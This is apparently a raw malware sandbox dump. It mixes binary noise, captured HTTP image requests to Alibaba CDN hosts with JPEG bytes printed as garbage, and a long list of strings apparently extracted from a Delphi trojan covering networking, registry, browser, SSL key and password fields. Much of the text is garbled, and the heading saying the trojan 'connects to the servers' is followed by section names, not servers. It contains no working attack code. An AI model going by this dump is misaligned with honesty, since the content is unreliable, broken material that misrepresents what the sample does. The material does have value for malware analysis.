#.vG3..{n.L..q.p.5q....XH.Q......b..!!L....b\.....k.3...7..6&$.0..."#.
.1.......%.MW_."/p%.!...\U..X...uQ%.ZV......*g..,........2....4.W..c..
........?1..LL.e..@ yD..'w.Q&.....e.....N......5V4.F*^f...._7....rc...
!.KD.}..Y..9.".v..s.....{....4.49...d....:.4..tN.kd.p.........K..t....
M..Y.......xD.V...(...M....ki...3q......F2....d..]43>...I.4*. 0.#..
n..~..^.F......^}......=./...3H .c...B..4.[...>..z,.%.3.....^...fN.
p.N>.4..r..v.x.Zm>.}/...:",c..a]&.=.A}..|...~.,....}....u..N....
....X....R....n...F..B..........\$%......./~....S<^..\.h.x...6...U.
..]S.....`...dS.C0.......o...).,...(..u..Q....:..xy.R. ..../..CR.Z .q.
..]2..x=.........O..'.v.`{.....d..Z.W[.....6/."...@.[.r.U....&.6;"opb.
..Rh.zn............C.........../...D._.h..).G.D6.M.g|/...."*....*..e..
HG..f7o.......s{J...CtbE.d....c....Q...E~.z...$."..%......X........k..
-.f.]X....>2....~9...[.L...~v......lm.&.l.~.R{{..x.,|...%_......._.
.>..R2Q.....i.N}H.5...R. nl..1.M..v..u..,...cX.=X<.N....~Vb.
<<< skipped >>>

GET /tps/i2/TB1nEVIIXXXXXcyXXXXYMrr2pXX-750-300.jpg_Q90.jpg HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gtms02.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/jpeg

Content-Length: 63205

Connection: keep-alive

Date: Mon, 01 Jun 2015 07:10:50 GMT

Last-Modified: Mon, 01 Jun 2015 06:33:38 GMT

Expires: Thu, 29 May 2025 07:10:50 GMT

Cache-Control: max-age=315360000

Access-Control-Allow-Origin: *

Via: cache62.l2de1[606,200-0,M], cache44.l2de1[607,0], cache10.uk1[0,200-0,H], cache7.uk1[0,0]

Age: 38792

X-Cache: HIT TCP_MEM_HIT dirn:1:2597946

X-Swift-SaveTime: Mon, 01 Jun 2015 07:10:50 GMT

X-Swift-CacheTime: 315360000
......JFIF.....`.`.....C..............................................
......................C...............................................
........................,...."........................................
..k..........................!.1..AQ.aq."..2....#BR......$%V..&347CWbc
ru...56EFSUd......'(DGHTXet......8gs..................................
..@.........................!1A.Qa.."2q......R..#$3B.....LSbr.......
.......?...(P..y.D.h.......$...G.GB. ..(Q..I...T..(c4..GK.R.jb...`f.&l
t;.....S.`P.F..2 .*<.U.4.. =hc<..ROI=4..)'B..:J.$........B...I..
..)'B....p...........P.....4(..Q..EI..(P....B...I.k"h..GLJ0...qFy.I=..
\...I>......TJ2J"..hP.Q..B.......U...d...<.qH..".)C.'.J..(....3.
..E.....KJy.. .......{.Y......e.:IQ4[[email protected].
D..2.JOU.U.5&$.'[email protected].."#.Tt(.uI....*.$)?J.4...I$(.
..c4..!.A49...h.......(..uQP..=.U....2.(P..C..).)!...Tt.wB...t.$...G.s
E.*n.#..R..9.'[email protected].(SRpJXY>.. ".R.>..#. -.i#.,v.R.
.:.(RF...:kv.2f<....)......I.v........s....%....N.........A.SQ>F
......... .2...V...vC...... N....S......i.....8.....~,...}.._..);w....
.I.......;kB.\[email protected]>.5;$k....0d. <...I...].MH..
..OU.9..4\.'4D.Qg<Q....B..j:t.."....;.I$.EJ#[email protected]*...d..X....
b-?E.....})9..8...rQQ4:...T2i.6.....3.B.!6Q..C....... "}....s.c.......
..v>.z....;q..5{#..k....T.o..mU"...GDN*...$.G.) ...I. F...U.0N.....
......h.I.(PRx.....D...M.$.QdP.U..:..P...(P.I2.(P...i.EB.pi...49...<
;.b........i..BM.EB...M=$...M...p..`...B....hR..h.iZzEB.B..I4i....
<<< skipped >>>

GET /tps/i2/TB17AE8HVXXXXaDXXXX9sla8VXX-750-300.jpeg_Q90.jpg HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gtms02.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/jpeg

Content-Length: 60103

Connection: keep-alive

Date: Mon, 01 Jun 2015 11:31:22 GMT

Last-Modified: Fri, 29 May 2015 08:57:47 GMT

Expires: Thu, 29 May 2025 11:31:22 GMT

Cache-Control: max-age=315360000

Access-Control-Allow-Origin: *

Via: cache10.l2de1[0,200-0,H], cache34.l2de1[0,0], cache5.uk1[0,200-0,H], cache7.uk1[0,0]

Age: 23164

X-Cache: HIT TCP_MEM_HIT dirn:7:897788266

X-Swift-SaveTime: Mon, 01 Jun 2015 11:38:52 GMT

X-Swift-CacheTime: 315359550
......JFIF.....H.H.....C.....................................%...#... 
, #&')*)..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((
((((((((((((((((((......,.............................................
.c........................!..1..AQa"q..2....#6BRt.....37Vbr....$5TUu..
....4Cs.....Œv....&'ES..f..................................H........
................!1.A.Qaq.."23.......Rr...#45BSTb....cs..$D%C..........
....?..Er..(.........([email protected];T.v..[..$..(.P...@........(.P...@
........(.P.4.T.F....P@...)...*H.).c.N.a......;.K...5.J.'N....(6_.o...
6..0.%......^..X.d..ngs...y.O..RQ..7=.Hai.C.}k..F. .9.3.RNL.p..sb%a...
9.....2..g..<..Qn*.(b..B..R@(.....5....s=O...8....Q.H.u.....kv.....
...6;..jn..(&..<g....u...jH."[email protected] .M....}3.....xV...
sn\."l'.]...".W...PmV"[email protected].......".@..,.;y....\..(.&..yl.(U
.?.YF..S.......:.1..*.*GJ.-=.....HpEf.luiUR....lE!...nC.8...../..."...
I5%M..=.SX..uT.R#d..{..m..E].U.To..T..^Q.....8..9..V.....P.C .".(.P...
@........(.P.=b.4.&..\....#8..q..RBWv<......R..Zu...4K..0O.?..F....
=..j).....H..y.N..T2.....F!:..P...@........(.P...@........(.P.4.F.....
..I..d .u...T.(t......%.. .%. .D3........;f....\.....P.z..1P.I/......X
E........z|[email protected].....}..{.C...-........<D.89...*.Q.....J..}..
..*H.P..@..`.Q..O'.4.;..v..=.>y.nT8..l{.^1Z...ri[.......;.6."N.B~..
&..G......'......<Q.8.'6.J.8...@........(..^..,.)..y.....1...u....w
.*.....5L......"|.5|J$KQW$T..LC.4..`(.XO1=(.6..@...(.......K(a......WK
..3....S.s].C.0...%..d....;.1.h.a...Uf.4....nC.......J.bF*nU(. .R.
<<< skipped >>>

The Trojan connects to the servers at the folowing location(s):

.text

`.itext

`.data

.idata

.didata

.rdata

@.reloc

B.rsrc

biClrImportant

tagMSG

Windows

HKEY

TWMKey

KeyData

grfLocksSupported

ENoMonitorSupportException

.uvCOu

$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)

etNoMonitorSupportException

Operator

EVariantBadIndexError

ssShift

htKeyword

EInvalidOperation

TList.TDirection

AOperator

TThread.TSynchronizeRecord

TOperation

Operation

FOnExecute

OnExecute

TList.Sort$ActRec

TComponent.FindComponent$ActRecx

TComponent.FindComponent$ActRecT

Uhe%D

HelpKeyword

UnderstandsKeyword

TRegKeyInfo

NumSubKeys

MaxSubKeyLen

FCurrentKey

FRootKey

FCloseRootKey

CloseKey

CreateKey

DeleteKey

GetKeyInfo

GetKeyNames

HasSubKeys

KeyExists

LoadKey

MoveKey

OpenKey

OpenKeyReadOnly

ReplaceKey

RestoreKey

SaveKey

UnLoadKey

CurrentKey@

LastErrorMsg

RootKey@

RootKeyName

EInvalidGraphicOperation

SupportsPartialTransparency

SupportsClipboardFormat

Monochrome

TCustomButton.TButtonStyle

OnKeyDown

OnKeyPress(HG

OnKeyUp

poPortrait

APort

Port

FAutoHotkeys

RethinkHotkeys

AutoHotkeysXqF

IsShortCut

AutoHotkeys

igoParentPassthrough

FAlwaysShowDragImages

AlwaysShowDragImages

toFlickFallbackKeys

'TCustomGestureEngine.TGestureEngineFlag

(TCustomGestureEngine.TGestureEngineFlags

Supported

TKeyEvent

TKeyPressEvent

FHelpKeyword

HelpKeyword4

FOnKeyDown

FOnKeyPress

FOnKeyUp

IsHintMsg

FNativeWheelSupport

FWheelSupportMessage

thHeaderItemLeftPressed

tsArrowBtnLeftPressed

ttbThumbLeftPressed

lrMonoChrome

HelpKeywordT

ssHotTrack

TWindowState

poProportional

fsShowing

FWindowState

FKeyPreview

WantChildKey

KeyPreview

WindowState

FBiDiKeyboard

FNonBiDiKeyboard

FEnumAllWindowsOnActivateHint

FOnActionExecute

Keyword

EnumAllWindowsOnActivateHint@

BiDiKeyboard@

NonBiDiKeyboard

OnActionExecuted

LicenseKey

IWebBrowser

IWebBrowserApp

IWebBrowser2@

TWebBrowserStatusTextChange

TWebBrowserProgressChange

TWebBrowserCommandStateChange

TWebBrowserTitleChange

TWebBrowserPropertyChange

TWebBrowserBeforeNavigate2

TWebBrowserNewWindow2

TWebBrowserNavigateComplete2

TWebBrowserDocumentComplete

TWebBrowserOnVisible

TWebBrowserOnToolBar

TWebBrowserOnMenuBar

TWebBrowserOnStatusBar

TWebBrowserOnFullScreen

TWebBrowserOnTheaterMode

TWebBrowserWindowSetResizable

TWebBrowserWindowSetLeft

TWebBrowserWindowSetTop

TWebBrowserWindowSetWidth

TWebBrowserWindowSetHeight

TWebBrowserWindowClosing

TWebBrowserClientToHostWindow

TWebBrowserSetSecureLockIcon

TWebBrowserFileDownload

TWebBrowserNavigateError

%TWebBrowserPrintTemplateInstantiation

TWebBrowserPrintTemplateTeardown

TWebBrowserUpdatePageStatus

%TWebBrowserPrivacyImpactedStateChange

FOnWindowSetResizable

FOnWindowSetLeft

FOnWindowSetTop

FOnWindowSetWidth

FOnWindowSetHeight

TWebBrowser&

cmdID

cmdexecopt

TWebBrowser

OnWindowSetResizable

OnWindowSetLeftT

OnWindowSetTop

OnWindowSetWidth8

OnWindowSetHeight

LocationURL

AMsg

EIdCanNotBindPortInRange

EIdCanNotBindPortInRangeL

EIdInvalidPortRange,

EIdInvalidPortRange

CheckIPVersionSupport

VPort

WSGetServByPort

APortNumber

IdStackWindows

TIdSocketListWindows4

TIdSocketListWindows

TIdStackWindowsg

ReceiveMsg

WSTranslateSocketErrorMsg

SupportsIPv6

TIdStackWindows

EIdIPVersionUnsupported

FSourcePort

FDestPort

SourcePort

DestPort

ftpTransfer

ftpReady

ftpAborted

FClientPortMin

FClientPortMax

FPort

FPeerPort

ClientPortMin

ClientPortMax@

PeerPortSVW

EIdPortRequired

EIdTCPConnectionError

EIdTCPConnectionError8

EIdObjectTypeNotSupported

VMsgEnd

"EIdTransparentProxyUDPNotSupported

"EIdTransparentProxyUDPNotSupported|

FPassword

OpenUDP

CloseUDP

RecvFromUDP

VPeerPort

SendToUDP

Password

FBoundPort

FBoundPortMax

FBoundPortMin

TIdTCPClientCustom'

TIdTCPClientCustomL

IdTCPClient

BoundPort

BoundPortMax

BoundPortMin

TIdTCPClient

TIdTCPClientP

IPAsString

%EIdSocksUDPNotSupportedBySOCKSVersion

%EIdSocksUDPNotSupportedBySOCKSVersionL-N

saUsernamePassword

FUDPSocksAssociation

FDefaultPort

DefaultPort

FLastCmdResult

TIdTCPConnectionB

RaiseExceptionForLastCmdResult

SendCmd

SendCmdf

TIdTCPConnection<}N

IdTCPConnection

LastCmdResult

URLDecode

URLEncode

Password@

Port@

URLd

AURL

FHttpOnly

HttpOnly@

FCommentURL

FPortList

FRecvPort

FUsePort

CommentURL

PortCount

UsePort

RecvPort

CompressFTPDeflate

CompressFTPToIO

DecompressFTPFromIO

DecompressFTPDeflate

CompressHTTPDeflate

DecompressHTTPDeflate

fPassThrough

PassThrough

MakeFTPSvrPort

MakeFTPSvrPasv

FURL

IdHTTPHeaderInfo

ProxyPassword

ProxyPort@

dsa_keygen

pub_key

priv_key

PEVP_PKEY

EVP_PKEY_union

EVP_PKEY

pkey

pkey_type

required_pkey_type

key_len

key_length

AUTHORITY_KEYID

keyid

PAUTHORITY_KEYID

X509_PUBKEY

public_key

PX509_PUBKEY

X509_CERT_AUX

PX509_CERT_AUX

cert_info

ex_nscert

get_cert_methods

cert_crl

ppem_password_cb

key_arg_length

key_arg

master_key_length

master_key

sess_cert

Ptlsext_ticket_key_cb!

cert_store

default_passwd_callback

default_passwd_callback_userdata

client_cert_cb

extra_certs

max_cert_list

cert

msg_callback

msg_callback_arg

client_cert_engine

tlsext_tick_key_name

tlsext_tick_hmac_key

tlsext_tick_aes_key

tlsext_ticket_key_cb

init_msg

read_key

write_key

key_material_length

key_material

tmp_cert_type

tmp_cert_length

tmp_cert_verify_md

tmp_cert_req

tmp_key_block_length

tmp_key_block

tmp_cert_request

msg_len

w_msg_hdr

r_msg_hdr

sslvrfFailIfNoPeerCert

TPasswordEvent

Certificate

fsRootCertFile

fsCertFile

fsKeyFile

RootCertFile@

CertFile@

KeyFile

LoadRootCert

LoadCert

RootCertFiled

CertFiled

fPeerCert

PeerCert

fOnGetPassword

OnGetPassword

EIdOSSLLoadingRootCertError

EIdOSSLLoadingCertError

EIdOSSLLoadingCertErrorp

EIdOSSLLoadingKeyError

EIdOSSLLoadingKeyError(

TIdHTTPConnectionType

IdHTTP

TIdHTTPOption

TIdHTTPOptions

TIdHTTPProtocolVersion

TIdHTTPOnRedirectEvent

TIdHTTPOnHeadersAvailable

FHTTP

TIdHTTPResponse7

TIdHTTPResponse(

TIdHTTPRequest5

AHTTP

TIdHTTPRequest

TIdHTTPProtocol;

TIdHTTPProtocol

FHTTPProto

TIdCustomHTTP'

TIdCustomHTTP

HTTPOptions

TIdHTTP

TIdHTTP@

EIdHTTPProtocolExceptionn